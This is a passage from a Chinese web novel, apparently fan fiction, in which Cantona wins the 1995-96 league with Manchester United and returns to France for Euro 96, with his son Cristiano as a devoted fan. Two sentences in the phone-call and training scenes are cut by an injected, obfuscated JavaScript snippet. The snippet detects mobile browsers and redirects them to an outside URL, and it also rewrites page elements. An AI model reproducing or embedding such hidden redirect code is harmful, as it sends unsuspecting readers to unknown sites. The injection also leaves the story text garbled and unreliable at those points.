球员通道里，坎通纳正在整理队长袖标。基恩走过来，递给他一杯运动饮料：“紧张吗？” 坎通纳接过杯子喝了一口：“期待更多一些。”他看向场外，阳光透过通道口洒进来，“克里斯说今天要亲眼看着我们登顶。” 基恩咧嘴一笑：“那小子比你还有斗志。昨天训练结束后，他缠着我加练了半小时射门。” 比赛开始后，曼联很快掌控了局面。坎通纳在前场游弋，不断制造威胁。第18分钟，他接贝克汉姆传中，一记势大力沉的头球击中横梁！看台上响起一片惋惜的叹息，克里斯蒂亚诺更是直接从座位上跳了起来。 “就差一点点！”小男孩懊恼地跺着脚。 上半场结束前，曼联终于打破僵局。坎通纳在禁区前沿被放倒，赢得一个位置极佳的任意球。他亲自操刀主罚，一记弧线球绕过人墙，直挂死角！1-0！ 进球后的坎通纳冲向场边，单膝跪地做了个拉弓射箭的庆祝动作——这是克里斯蒂亚诺最喜欢的。小男孩在看台上兴奋地模仿着父亲的动作，引得周围球迷一阵欢笑。 下半场，曼联继续施压。第67分钟，坎通纳送出精妙直塞，科尔单刀破门，将比分扩大为2-0。终场哨响时，整个老特拉福德沸腾了——曼联终于登顶积分榜！ 赛后更衣室里，球员们欢呼雀跃，只有弗格森保持着冷静：“小伙子们，干得好。但现在还不是庆祝的时候，我们只是暂时领先。记住，冠军是由每一场比赛累积起来的。” 坎通纳点点头，转向队友们：“老板说得对。现在我们要做的，是保持这种状态到赛季结束。” 回家的路上，克里斯蒂亚诺在车后座不停地翻看他的积分表：“爸爸，我们现在领先2分了！”他指着最新一栏的数字，“纽卡斯尔还会追上来吗？” 坎通纳从后视镜里看了儿子一眼：“足球场上什么都可能发生，克里斯。重要的是我们控制好自己的比赛。” 接下来的一个月，曼联和纽卡斯尔展开了激烈的拉锯战。4月13日，曼联3-0胜热刺，坎通纳一传一射；纽卡斯尔则2-1险胜阿斯顿维拉，差距保持在2分。4月20日，曼联客场2-2战平南安普顿，纽卡斯尔却意外输给了诺丁汉森林，曼联的领先优势扩大到3分。 每一场比赛后，克里斯蒂亚诺都会认真更新他的积分表，用不同颜色的笔标注关键比赛。小男孩甚至开始研究赛程表，预测哪场比赛可能成为转折点。 “爸爸，如果我们赢下最后三场，就肯定是冠军了！”4月底的一个晚上，克里斯蒂亚诺在餐桌上铺开自己制作的赛程图，信誓旦旦地说。 坎通纳和艾米莉交换了一个好笑的眼神：“我们的‘小教练’有什么战术建议吗？” 克里斯蒂亚诺认真地思考了一会儿：“你要多射门，爸爸。最近三场比赛你只有一次射正。” 坎通纳惊讶地挑眉：“你连这个都统计了？” “当然！”小男孩骄傲地拿出另一个小本子，“我还记了你的传球成功率、过人次数和被犯规次数呢！” 艾米莉忍不住笑出声：“看来我们家要出两个足球专家了。” 5月1日，曼联客场挑战温布顿。这是一场硬仗，主队正在为保级而战。赛前更衣室里，弗格森神色凝重：“记住，越是接近终点，越要保持专注。温布顿会拼命，我们要比他们更拼！” 比赛开始后，局势果然胶着。温布顿摆出铁桶阵，曼联的进攻屡屡受挫。第63分钟，场上出现争议一幕——坎通纳在禁区内被明显拉倒，裁判却未予判罚。弗格森在场边暴跳如雷，被第四官员警告。 关键时刻，坎通纳展现了领袖风范。他没有与裁判争执，而是迅速组织下一次进攻。第78分钟，他在中场拿球，一个漂亮的转身过掉两人，随即送出一记超过30米的精准长传——吉格斯左路插上，小角度破门！1-0！ 最终曼联艰难取胜，而同一天纽卡斯尔被利兹联逼平，曼联的领先优势扩大到4分，距离冠军只有一步之遥。 赛后，克里斯蒂亚诺获准进入更衣室。小男孩一进门就扑向父亲：“爸爸，那个传球太棒了！就像……”他努力寻找合适的比喻，“就像钓鱼时把鱼饵精准地扔到鱼群里！” 坎通纳大笑，用毛巾擦着儿子脸上的汗水：“雅克叔叔教你的比喻？” “嗯！”克里斯蒂亚诺点点头，随即压低声音，“我们能提前庆祝冠军吗？” “不，克里斯。”坎通纳严肃起来，“在数学上确定夺冠前，我们不能有任何松懈。这是对对手的尊重，也是对自己的尊重。” 20.永不放弃的红魔精神（2） 最后一轮前，曼联领先纽卡斯尔3分，净胜球多12个。这意味着只要曼联不输给米德尔斯堡，就铁定夺冠。但弗格森在赛前训练中依然严格要求：“忘记积分榜，我们要做的就是赢下这场比赛！” 5月5日，赛季最后一轮，老特拉福德座无虚席。球迷们早早就开始歌唱，红色的旗帜在看台上舞动。克里斯蒂亚诺穿着和父亲一样的7号球衣，紧张地坐在替补席后面。他的积分表已经写到了最后一页，只差最后的结果。 比赛开始前，坎通纳在球员通道里蹲下身，认真整理克里斯蒂亚诺送给他的幸运腕带——那是一条手工编织的红绳，小男孩花了整整一个下午做的。 “它会带来好运吗？”坎通纳故意问。 克里斯蒂亚诺严肃地点点头：“只要你相信。” 比赛开始后，曼联迅速掌控局面。第18分钟，坎通纳禁区外突施冷箭，球如出膛炮弹般直挂死角！1-0！整个老特拉福德陷入狂欢，球迷们开始高唱“我们是冠军”。 但坎通纳没有庆祝，他只是指向看台上的克里斯蒂亚诺，然后做了个“冷静”的手势——比赛还远未结束。 下半场，曼联继续施压。第67分钟，坎通纳助攻科尔再下一城，2-0！终场哨响时，整个球场沸腾了！曼联完成了不可思议的逆转，从落后12分到最终领先4分夺冠！ 球员们在草坪上疯狂庆祝，坎通纳第一时间冲向场边，将克里斯蒂亚诺抱了起来。小男孩紧紧搂着父亲的脖子，激动得语无伦次：“我们做到了！爸爸！我们真的做到了！从12分追回来！” 坎通纳亲吻着儿子的脸颊：“看到了吗？克里斯？这就是永不放弃的红魔精神！” 颁奖仪式上，坎通纳作为本赛季核心第一个举起了英超奖杯。当他把奖杯传递给队友时，看台上的克里斯蒂亚诺眼睛一眨不眨地盯着那个银光闪闪的奖杯，仿佛要将这一刻永远铭记。 回到更衣室，香槟喷得到处都是。弗格森难得地允许球员们放纵一次：“尽情庆祝吧，小伙子们！这是你们应得的！” 在一片欢闹中，坎通纳发现克里斯蒂亚诺正小心翼翼地触摸着奖杯，小脸上写满了敬畏。 “想举一举吗？小冠军？”坎通纳问。 克里斯蒂亚诺睁大眼睛：“可以吗？” “当然。”坎通纳帮儿子举起沉重的奖杯，“感觉如何？” “好重……”克里斯蒂亚诺咬着牙坚持着，“但是……好棒！” 当晚的庆功宴上，坎通纳被记者团团围住。“坎通纳先生，从落后12分到最终夺冠，曼联是如何做到的？” 坎通纳看了一眼不远处正在和基恩玩桌上足球的克里斯蒂亚诺：“我们只是拒绝认输，一场一场地拼。就像我告诉儿子的——在终场哨响前，一切皆有可能。” “这是否是你职业生涯最特别的冠军？” 坎通纳思考了一会儿：“每个冠军都很特别。但这个……它教会了我们所有人，包括我十一岁的儿子，什么是真正的红魔精神。” 夺冠庆典后的第三天，坎通纳家的门铃被按响。艾米莉打开门，发现弗格森站在门口，手里拿着一份报纸和一个包装精美的盒子。 “早上好，艾米莉。”弗格森的苏格兰口音比平时轻快，“埃里克在家吗？” 坎通纳闻声下楼，看到弗格森时挑了挑眉：“老板？赛季不是结束了吗？” 弗格森将报纸递给坎通纳：“看看这个。” 头版头条是一张曼联全队捧杯的大幅照片，标题写着《从12分到冠军：曼联创造英超史上最伟大逆转》。文章详细回顾了这四个月来的每一场关键比赛，特别提到了坎通纳在冲刺阶段的8个进球和5次助攻。 “写得不错。”坎通纳粗略浏览后评价道。 弗格森哼了一声：“重点不是这个。”他翻开内页，指着另一篇文章，“看看纽卡斯尔的反应。” 基冈在采访中依然难以释怀：“我们整个赛季都表现更好，但最后阶段缺乏一点运气……”文章旁边配了积分榜变化图，清晰地展示了曼联如何一步步蚕食纽卡斯尔的领先优势。 “他还在嘴硬。”弗格森摇摇头，随即递上那个精美的盒子，“这是给克里斯的。” 盒子里是一枚缩小版的英超冠军奖杯复制品，底座上刻着“1995-96赛季，永不放弃的红魔精神“。 坎通纳小心地取出奖杯：“他会爱死这个的。…… “那孩子这几个月来每场比赛都做记录，比我们的球探还认真。”弗格森难得地露出慈祥的笑容，“告诉他，这是曼联俱乐部对他未来加盟的提前邀请。” 楼上传来咚咚的脚步声，克里斯蒂亚诺揉着眼睛出现在楼梯口：“爸爸，谁来了——”看到弗格森，小男孩立刻清醒了，“弗格森先生！早上好，先生！” “早上好，小冠军。”弗格森指了指坎通纳手中的盒子，“那是给你的。” 克里斯蒂亚诺小心翼翼地接过盒子，打开后发出一声惊喜的尖叫：“和真的一模一样！”他举着小奖杯在客厅里转圈，然后突然停下来，认真地问，“弗格森先生，我们下赛季还能夺冠吗？” 弗格森大笑：“问问你爸爸愿不愿意继续进球如麻。” 坎通纳将儿子揽到身边：“下赛季还很远，小冠军。现在，我们该好好享受这个冠军。” 当天下午，坎通纳带着克里斯蒂亚诺去了卡灵顿训练基地。赛季虽然结束，但仍有不少年轻球员在加练。看到坎通纳父子，他们纷纷停下训练过来打招呼。 “听说你拿到了迷你奖杯？”吉格斯蹲下身问克里斯蒂亚诺，“能给我看看吗？” 小男孩骄傲地展示着他的宝贝：“弗格森先生亲自送来的！” “哇哦，VIP待遇。”吉格斯夸张地眨眨眼，“看来明年我得努力表现，才能赶上你的收藏速度了。” 坎通纳带着儿子在场边坐下，拿出一个旧笔记本：“克里斯，还记得我们一月份落后12分时，你开始做的这个积分表吗？” 克里斯蒂亚诺点点头，翻开已经写得满满当当的笔记本：“每一场都记下来了！” “我想和你一起回顾一下。”坎通纳指着最早几页的记录，“看看我们是怎么一步步追上来的。” 父子俩头碰头地研究着那些稚嫩的笔迹和简单的符号。坎通纳耐心地解释着每一场比赛的关键点，哪些战术调整起了作用，哪些球员在关键时刻站了出来。 “看这里，”坎通纳指着3月20日对纽卡斯尔的记录，“这场直接对话是最重要的转折点。赢了这场，我们和全队都真正相信能够逆转了。” 克里斯蒂亚诺若有所思：“就像你常说的，信心比技术更重要？” “在某些时刻，确实如此。”坎通纳合上笔记本，“但记住，克里斯，信心是建立在日复一日的刻苦训练上的。没有那些加练的早晨和加班的夜晚，就不会有这个冠军。” 回家的路上，克里斯蒂亚诺突然问：“爸爸，如果……如果我们最后没有追上纽卡斯尔，这个本子还有意义吗？” 坎通纳将车停在路边，认真思考着这个问题：“当然有意义，克里斯。重要的不是最终的结果，而是我们始终没有放弃努力的过程。”他指了指笔记本，“这些记录证明了我们尽了全力，这才是最珍贵的。” 克里斯蒂亚诺似懂非懂地点点头，将小奖杯和笔记本紧紧抱在胸前。 晚上，雅克从马赛打来电话。老渔夫的大嗓门即使隔着听筒也震耳欲聋：“埃里克！我和伙计们在酒吧看了最后一场比赛！那个进球太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574462|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漂亮了！克里斯在旁边吗？” 坎通纳把电话递给儿子，克里斯蒂亚诺兴奋地向雅克描述着他的小奖杯和整个赛季的记录。 “雅克叔叔，我们真的从12分追回来了！就像你说的，只要渔船不沉，总会有鱼！” 坎通纳和艾米莉相视一笑。显然，老渔夫的那些海上谚语已经深深印在了小男孩的脑海里。 挂断电话后，克里斯蒂亚诺突然说：“爸爸，我想把奖杯放在床头，这样每天醒来都能看到。” “好主意。”坎通纳帮儿子调整着小奖杯的位置，“它会提醒你什么？” “永不放弃！”克里斯蒂亚昂挺起胸膛，“还有……每天都要努力训练！” 艾米莉走过来，亲了亲儿子的额头：“该睡觉了，冠军。明天你还要去U12的训练营呢。” 等克里斯蒂亚诺睡着后，坎通纳和艾米莉坐在阳台上，享受着难得的宁静夜晚。曼彻斯特的夏夜微风拂过，带着青草的气息。 “这四个月很特别，不是吗？”艾米莉轻声说，“不仅仅是冠军，还有克里斯的变化。” 坎通纳点点头：“他从一个只看进球的毛头小子，变成了会分析比赛的小专家。”想起儿子那些密密麻麻的记录本，他忍不住微笑，“弗格森说得对，那孩子将来一定会成为曼联的一员。” “你知道他最让我骄傲的是什么吗？”艾米莉望着星空，“不是那些记录，而是在你们输球或者平局时，他从来没有失去信心。即使是最困难的时候，他也坚信你们能追回来。” 坎通纳想起那些黑暗时刻——输给阿斯顿维拉后的更衣室，被纽卡斯尔拉开12分差距时的质疑声，以及儿子那双始终充满信任的眼睛。“他比很多大人都要坚强。” “因为他有一个最好的榜样。”艾米莉握住丈夫的手，“埃里克，这个冠军对克里斯的意义，可能比对你还要重大。他亲眼看到了什么是真正的永不言弃。” 夜深了，坎通纳轻手轻脚地走进儿子房间，想看看小家伙有没有踢被子。月光透过窗户洒在床上，克里斯蒂亚诺睡得正香，一只手臂紧紧搂着那个小奖杯，嘴角还挂着微笑。床边墙上贴满了曼联的照片和剪报，最新的一张是全家在颁奖礼后的合影，坎通纳高举奖杯，克里斯蒂亚诺站在他身旁，小手同样做出举杯的姿势。 坎通纳轻轻吻了吻儿子的额头，正准备离开时，发现地板上摊开着一个新笔记本。他好奇地拿起来，借着月光看到第一页写着“1996-97赛季目标“，下面列着几条稚气十足但异常认真的计划： 1. 每天多练一小时射门（左脚！） 2. 学会爸爸的马赛回旋 3. U12比赛进10个球 4. 帮助曼联卫冕冠军！！！ 最后一条后面画了三个大大的感叹号。坎通纳微笑着将笔记本放回原位，心中涌起一股暖流。这个冠军带给曼联的不仅仅是一座奖杯，更是一种精神的传承——从弗格森到球员们，从他到克里斯蒂亚诺，永不放弃的红魔精神将永远延续下去。 回到卧室，艾米莉已经睡着了。坎通纳轻轻拉开抽屉，取出一封前几天收到的信——法国足协的邀请函，希望他重新考虑退出国家队的决定。他看了看熟睡的妻子，又想起儿子那些充满斗志的计划表，将信放回了抽屉。 明天，他会给法国足协回信。但今晚，就让一切暂停在这一刻——一个完美的赛季，一个幸福的家庭，和一个正在梦想道路上奔跑的小男孩。 窗外，曼彻斯特的夜空繁星点点。坎通纳知道，无论未来还有多少挑战等待着他和曼联，这个逆转夺冠的赛季都将永远铭刻在他们心中，成为永不褪色的传奇。而更重要的是，它已经在克里斯蒂亚诺幼小的心灵里，种下了最珍贵的红魔精神的种子。 21.重返蓝衣军团（1） 曼彻斯特机场的出发大厅里人头攒动，坎通纳推着行李箱，身旁的艾米莉牵着克里斯蒂亚诺，一家三口在法国国家队的集合点前停下脚步。小男孩今天特意穿上了法国队的蓝色球衣，背后印着父亲的7号和“CANTONA”的字样。 “爸爸，你真的要穿7号吗？”克里斯蒂亚诺仰头问道，小手紧紧攥着父亲的衣角，“不是队长也能穿7号？” 坎通纳蹲下身，与儿子平视：“国家队和俱乐部不一样，克里斯。德尚是队长，但7号是我的号码。”他轻轻捏了捏儿子的小手，“就像你在U12穿9号一样，记得吗？” 克里斯蒂亚诺点点头，但眉头依然紧锁：“可是你要走好久……” “一个月而已。”坎通纳揉了揉儿子的卷发，“欧洲杯结束后，我们全家去马赛度假，雅克叔叔答应带你去钓鱼。” 艾米莉将一个小包裹塞进丈夫的随身背包：“克里斯给你准备的。” 坎通纳打开一看，是一条手工编织的蓝色手绳，上面串着几个小珠子，组成了“FRANCE”的字样。旁边还有一张纸条，上面歪歪扭扭地写着“给世界上最棒的7号”。 “我自己做的！”克里斯蒂亚诺迫不及待地解释，“用了三天的午休时间！” 坎通纳感觉喉咙有些发紧。他立刻将手绳戴在手腕上，然后紧紧抱住儿子：“我会一直戴着它，我保证。” 广播里开始通知法国队登机。德尚走过来，友善地向艾米莉点头致意，然后对坎通纳说：“该集合了，埃里克。” 坎通纳最后吻了吻妻子，又亲了亲儿子的额头：“照顾好妈妈，小冠军。每天的训练不能落下，我会打电话检查的。” 克里斯蒂亚诺用力点头，眼睛却已经红了：“你要进球，爸爸！很多很多球！” 看着坎通纳和德尚走远，艾米莉抱起儿子，轻轻擦去他脸上的泪水：“勇敢点，克里斯。爸爸是为了法国的荣誉而战，我们应该支持他。” “我知道……”小男孩把脸埋在母亲肩头，“但我还是会想他……” 飞机上，坎通纳坐在窗边，望着逐渐变小的曼彻斯特城市轮廓。德尚在他身旁坐下，递给他一杯咖啡：“第一次离开克里斯这么久？” 坎通纳点点头，转动着手腕上的蓝色手绳：“这两年，我们几乎没分开超过一周。” “他会为你骄傲的。”德尚拍了拍他的肩膀，“整个法国都会。你的回归让全队士气大振。” 坎通纳望向机舱前方，齐达内正在和德塞利讨论着什么，佩蒂特和德约卡夫在玩纸牌。这支法国队人才济济，但过去几年总是差一口气。雅凯教练选择在欧洲杯前召回他，无疑是希望他能带来一些不同的东西。 “说真的，”德尚压低声音，“为什么改变主意？之前你那么坚决要退出国家队。” 坎通纳思考了一会儿：“因为克里斯。他看着我完成了曼联的逆转夺冠，现在……我想让他看到父亲为国家而战的样子。” 德尚了然地点头：“为了家人而战，这是最好的理由。” 法国队的训练基地设在伦敦郊外的一处幽静庄园。第一天集训，雅凯就将坎通纳叫到了办公室。 “埃里克，我需要你的领导力。”雅凯开门见山，“虽然德尚是队长，但你在场上同样重要。这支球队需要你的经验和那种……曼联式的斗志。” 坎通纳转动着手腕上的蓝色手绳：“我会尽我所能，教练。但我不打算改变自己——不会为了迎合谁而变得温顺。” 雅凯笑了：“上帝保佑，我可没指望你变成乖宝宝。我要的就是那个在老特拉福德让对手闻风丧胆的坎通纳。” 训练场上，坎通纳的状态让队友们惊叹。尽管已经30岁，但他的技术和意识依然顶尖，射门力道和精准度甚至比两年前他退出国家队时还要出色。 “见鬼，”佩蒂特在坎通纳又一次将球轰入死角后摇头，“曼联的伙食里加了什么特别配方吗？” 坎通纳笑着捡回足球：“曼彻斯特的雨水和弗格森的吹风机，绝佳组合。” 齐达内走过来，用带着马赛口音的法语说：“教我那个脚后跟传球，埃里克。昨天对南安普顿你用的那招。” 两个技术大师开始在边线附近切磋，很快吸引了全队的围观。雅凯和助理教练站在远处，满意地观察着这一幕。 “看到了吗？”雅凯对助手说，“这就是我召回他的原因，他能激发所有人的最佳状态。” 晚上，坎通纳给家里打电话。克里斯蒂亚诺抢着接听，一口气汇报了今天的训练内容、学校发生的事情，以及他如何向U12的队友们炫耀父亲重返国家队的新闻。 “教练说我可以多看欧洲杯比赛学习战术！”小男孩的声音因兴奋而提高，“爸爸，你会对保加利亚进球吗？就是他们害法国没进世界杯的！” 坎通纳靠在宾馆房间的窗边，望着窗外的月光：“我会尽力，小冠军。但现在最重要的是团队胜利，而不是个人复仇。” “哦……”克里斯蒂亚诺似乎有些失望，但很快又振作起来，“那我能把你的国家队球衣带到学校吗？” “当然可以。”坎通纳微笑着说，“但别在上课时偷偷画战术图，我知道你的小把戏。” 电话那头传来艾米莉的笑声和克里斯蒂亚诺的抗议。坎通纳闭上眼睛，想象着家中厨房的场景——艾米莉在准备晚餐，克里斯蒂亚诺坐在餐桌旁，面前摊开着作业本和永远少不了的足球…… 挂断电话后，坎通纳从包里取出克里斯蒂亚诺送给他的幸运物——那个迷你英超冠军奖杯。他将它放在床头柜上，然后翻开战术手册，开始研究法国队首战对罗马尼亚的部署。 第二天清晨，坎通纳是第一个到达训练场的球员。他独自进行着拉伸和基础训练，直到德尚和佩蒂特结伴而来。 “早啊，曼联人。”佩蒂特打趣道，“英格兰的水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581885|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土让你变成工作狂了？” 坎通纳没有停下脚下的颠球练习：“习惯了早起。克里斯每天六点就爬起来训练，我得做榜样。” 德尚拿起一个足球加入训练：“雅凯打算让你在对罗马尼亚时首发。齐达内在你身后，你和德约卡夫打双前锋。” 坎通纳点点头，继续专注于每一次触球。训练强度逐渐加大，从基础技术到战术演练，最后是分组对抗赛。坎通纳被分在主力一方，与德约卡夫搭档锋线。 对抗赛中，坎通纳展现出了绝佳的状态。他先是接齐达内直塞，轻巧挑射破门；然后又用一记精准的任意球助攻德塞利头球得分。最精彩的一幕出现在终场前——他在禁区边缘背身拿球，一个灵巧的脚后跟磕球过掉布兰特，随即转身抽射入网！ “漂亮！”雅凯在场边鼓掌，“继续保持这种状态，埃里克！” 训练结束后，法国队的新闻官找到坎通纳：“《队报》想做个专访，重点是你的国家队回归。有时间吗？” 坎通纳看了看表——距离给克里斯蒂亚诺的每日电话还有一小时：“半小时。” 采访中，记者不可避免地提到了1993年世界杯预选赛的失利，以及坎通纳此前的国家队退役决定。 “那次失败让我一度怀疑一切。”坎通纳坦然承认，“但现在我明白了，足球和人生一样，重要的不是跌倒多少次，而是你能站起来多少次。” “这次回归，是什么改变了你的想法？” 坎通纳下意识地摸了摸手腕上的蓝色手绳：“我的儿子。他想看父亲为国家队踢球，这个理由足够充分了。” “你对法国队的前景怎么看？” “我们拥有欧洲最好的球员之一。“坎通纳的目光扫过训练场上正在加练的齐达内和德尚，“但足球不是纸上谈兵，我们需要在场上证明自己。” 回到宾馆房间，坎通纳立刻拨通了家里的电话。克里斯蒂亚诺似乎就守在电话旁，因为铃声刚响就被接了起来。 “爸爸！我在电视上看到你的训练画面了！那个脚后跟过人太棒了！我明天要试试！” 坎通纳微笑着靠在床头：“先练好基本功，克里斯。华丽的动作是建立在扎实的基础上的。” “我知道，我知道……”小男孩拖长声调，“我今天练了200次左脚射门！妈妈数的！“ 艾米莉接过电话，声音温柔：“他今天格外用功，好像要隔着大西洋和你较劲似的。” 坎通纳望向窗外的夜空，想象着儿子在训练场上挥汗如雨的样子：“告诉他，我很骄傲。还有……我想你们了。” 挂断电话后，坎通纳取出战术手册继续研究，但思绪却飘回了曼彻斯特。这是他两年来第一次离开家人这么久，也是克里斯蒂亚诺出生后父子分离时间最长的一次。手腕上的蓝色手绳在台灯下泛着微光，提醒着他这次征战的初衷——不仅为了国家荣誉，也为了那个把他视为英雄的小男孩。 22.重返蓝衣军团（2） 6月10日，纽卡斯尔的圣詹姆斯公园球场人声鼎沸。法国队对阵罗马尼亚的欧洲杯小组赛即将开始，坎通纳站在球员通道里，轻轻抚摸着胸前的国家队队徽。两年了，他再次穿上这身蓝色战袍，耳边响起的却是儿子今早电话里的声音：“爸爸，我会在电视前为你加油的！进两个球！不，三个！” 德尚走过来，为他整理了一下队长袖标——虽然坎通纳不是正式队长，但雅凯特别允许他佩戴袖标，以示对这位回归老将的尊重。“准备好了吗，埃里克？全法国都在看着我们。” 坎通纳深吸一口气，转动着手腕上的蓝色手绳：“为了那些相信我们的人。” 当现场广播念出坎通纳的名字时，球场内爆发出混合着欢呼和嘘声的声浪——英格兰球迷还没忘记他在英超的“丰功伟绩”。坎通纳面无表情地跑进球场，目光坚定地望向罗马尼亚的球门。 比赛开始后，法国队很快掌控了局面。第18分钟，坎通纳在前场拿球，一个漂亮的马赛回旋过掉防守球员，随即送出一记精准直塞——德约卡夫插上射门，球稍稍偏出立柱！ “好球！”场边的雅凯鼓掌喊道，“继续施压！” 坎通纳向德约卡夫竖起大拇指，然后立刻投入下一次进攻。他能感觉到罗马尼亚后卫对他的特殊“照顾”，每次拿球都有至少两人包夹。但这正是他想要的——为队友创造空间。 第37分钟，机会终于到来。齐达内中场断球后快速推进，在吸引三名防守球员后巧妙分边。利扎拉祖左路传中，坎通纳在禁区中路高高跃起——头球攻门！球如炮弹般飞向球门左上角，罗马尼亚门将鞭长莫及！1-0！ 进球后的坎通纳冲向角旗区，罕见地做出了一个爱心手势——这是专门送给电视机前的克里斯蒂亚诺的。队友们纷纷围上来庆祝，德尚揉了揉他的头发：“欢迎回到国家队，埃里克！” 下半场，罗马尼亚加强了攻势。第63分钟，他们利用一次角球机会扳平比分。圣詹姆斯公园球场的氛围顿时紧张起来，法国队的传球开始出现失误。 关键时刻，坎通纳站了出来。他在中圈附近大声呼喊队友，双手下压示意大家冷静。然后他开始更多地回撤接应，用精准的传球梳理进攻。第78分钟，他在右路拿球，一个假动作晃过防守球员后起脚传中——德约卡夫后点包抄，凌空垫射破门！2-1！ 最终法国队守住了胜果，取得开门红。赛后混合采访区，记者们将坎通纳团团围住。 “坎通纳先生，回归首战就进球，感觉如何？” “重要的是球队赢了。”坎通纳擦了擦脸上的汗水，“罗马尼亚很顽强，但我们配得上三分。” “那个爱心庆祝是给谁的？你儿子吗？” 坎通纳的嘴角微微上扬：“他是个严格的评论家，我得确保自己达到他的标准。” 回到更衣室，雅凯拍了拍他的肩膀：“干得好，埃里克。但别太早放松，下一场对保加利亚才是硬仗。” 坎通纳点点头，拿起手机。有十几条未读短信，最新一条来自艾米莉：“克里斯激动得把抱枕扔到了电视上。他说要学你的头球技术，明天开始每天加练50次。” 坎通纳忍不住笑出声，随即拨通了家里的电话。克里斯蒂亚诺几乎是尖叫着接起电话：“爸爸！那个头球太棒了！就像……就像……”小男孩努力寻找合适的比喻，“就像鲨鱼跃出水面捕食！” “雅克叔叔教你的比喻？”坎通纳笑着问。 “嗯！他说你跳得比马赛港的海豚还高！”克里斯蒂亚诺的声音充满崇拜，“爸爸，我能穿你的国家队球衣睡觉吗？” “当然可以，小冠军。但别穿着它踢球，妈妈会心疼洗衣费的。” 挂断电话后，德尚走过来递给他一杯运动饮料：“小家伙很兴奋？” “他把抱枕扔到了电视上。”坎通纳摇摇头，“莉莉说他在客厅里模仿我的头球动作，差点打翻台灯。” 德尚大笑：“等他再大点，法国青年队就有福了。” 接下来的几天，法国队移师利兹备战与保加利亚的比赛。训练中，坎通纳格外专注——这不仅是一场小组赛，更是对1993年那场导致法国无缘世界杯的失利的某种回应。 “别太在意复仇，”雅凯在战术会议上提醒全队，“把它当作普通比赛来踢。情绪化只会影响判断。” 坎通纳明白教练的用意，但他也清楚这场比赛对自己的特殊意义。训练结束后，他独自加练了半小时射门，直到夜幕降临。 6月15日，埃兰路球场。赛前奏国歌时，坎通纳注视着蓝白红三色旗，胸口涌动着复杂的情绪。他摸了摸手腕上的蓝色手绳，想起临行前克里斯蒂亚诺认真交代的话：“爸爸，帮法国打败保加利亚！为了1993年！” 比赛开始后，保加利亚出人意料地摆出铁桶阵。他们的防守组织得密不透风，法国队的进攻屡屡受挫。坎通纳被重点盯防，每次拿球都面临两到三人的包夹。 上半场结束，比分仍是0-0。更衣室里，雅凯调整了战术：“埃里克，下半场你回撤更深一些，把中卫带出来，给齐达内和德约卡夫创造前插空间。” 坎通纳点点头，用毛巾擦去脸上的汗水。他想起曼联逆转纽卡斯尔的那个赛季，弗格森常说的一句话——“耐心比激情更重要”。 下半场，坎通纳按照教练的指示改变了踢法。他不再执着于突前，而是频繁回撤接应，用精准的传球调度进攻。第63分钟，他在中场拿球，一个假动作晃过防守球员，随即送出一记超过40米的精准长传——德约卡夫反越位成功，单刀破门！1-0！ 进球后的德约卡夫第一时间指向坎通纳，全队围在一起庆祝。坎通纳望向看台，那里有一小片法国球迷的蓝色海洋。他想象着克里斯蒂亚诺在电视机前跳起来的样子，嘴角不自觉地上扬。 保加利亚失球后大举压上，这给了法国队更多反击空间。第78分钟，坎通纳在前场接到齐达内的传球，一个漂亮的变向过掉后卫，突入禁区后推射远角！2-0！ 这一次，坎通纳的庆祝简单而有力——他亲吻了手腕上的蓝色手绳，然后指向天空。解说员激动地喊道：“埃里克·坎通纳！完美的回归！两场比赛两个进球，法国队提前锁定出线名额！” 赛后新闻发布会上，记者们的问题几乎全部指向坎通纳。 “坎通纳先生，这是对1993年的完美复仇吗？” 坎通纳摇摇头：“足球没有复仇，只有新的比赛。今天我们只是踢得比保加利亚更好。” “你回归后的状态令人惊讶，有什么秘诀吗？” “每天多练一小时，”坎通纳难得地开了个玩笑，“然后有个11岁的严厉教练盯着你。” 回到酒店，坎通纳迫不及待地拨通了家里的电话。克里斯蒂亚诺接起电话就是一通连珠炮：“爸爸！那个传球！那个进球！你过掉后卫的动作我能看一百遍！我已经画下来了！” 坎通纳能听到电话那头纸张翻动的声音，想象着儿子手忙脚乱地展示他的“战术图”：“慢点说，小冠军。你的训练怎么样了？” “我每天加练头球！像你说的，用前额中部击球！……克里斯蒂亚诺的声音充满自豪，“U12教练说我进步神速！” 艾米莉接过电话，声音里带着笑意：“他现在是小区里的‘小坎通纳’了，所有孩子都想要你的签名球衣。” “等我回去，给他队友每人带一件。”坎通纳靠在床头，疲惫感终于袭来，“你们看了下一场的对手了吗？” “西班牙，”艾米莉说，“克里斯已经研究了一晚上他们的比赛录像。” 电话那头传来克里斯蒂亚诺的喊声：“他们的4号转身很慢！爸爸可以利用这个！” 坎通纳忍不住笑出声：“收到，我的小战术师。” 挂断电话后，坎通纳望向窗外的夜空。两连胜，提前出线，个人表现出色——这比他预想的回归要好得多。但真正的考验还在后面，淘汰赛才是强队的试金石。他轻轻抚摸着手腕上的蓝色手绳，想起临行前克里斯蒂亚诺认真编织的样子。小男孩或许还不完全理解国家荣誉的重量，但他知道父亲在为什么而战——为了所有爱他、相信他的人。 第二天清晨，坎通纳是第一个到达训练场的。他独自进行着拉伸和基础训练，直到齐达内和德尚结伴而来。 “早啊，进球机器。”德尚打趣道，“媒体把你夸上天了。” 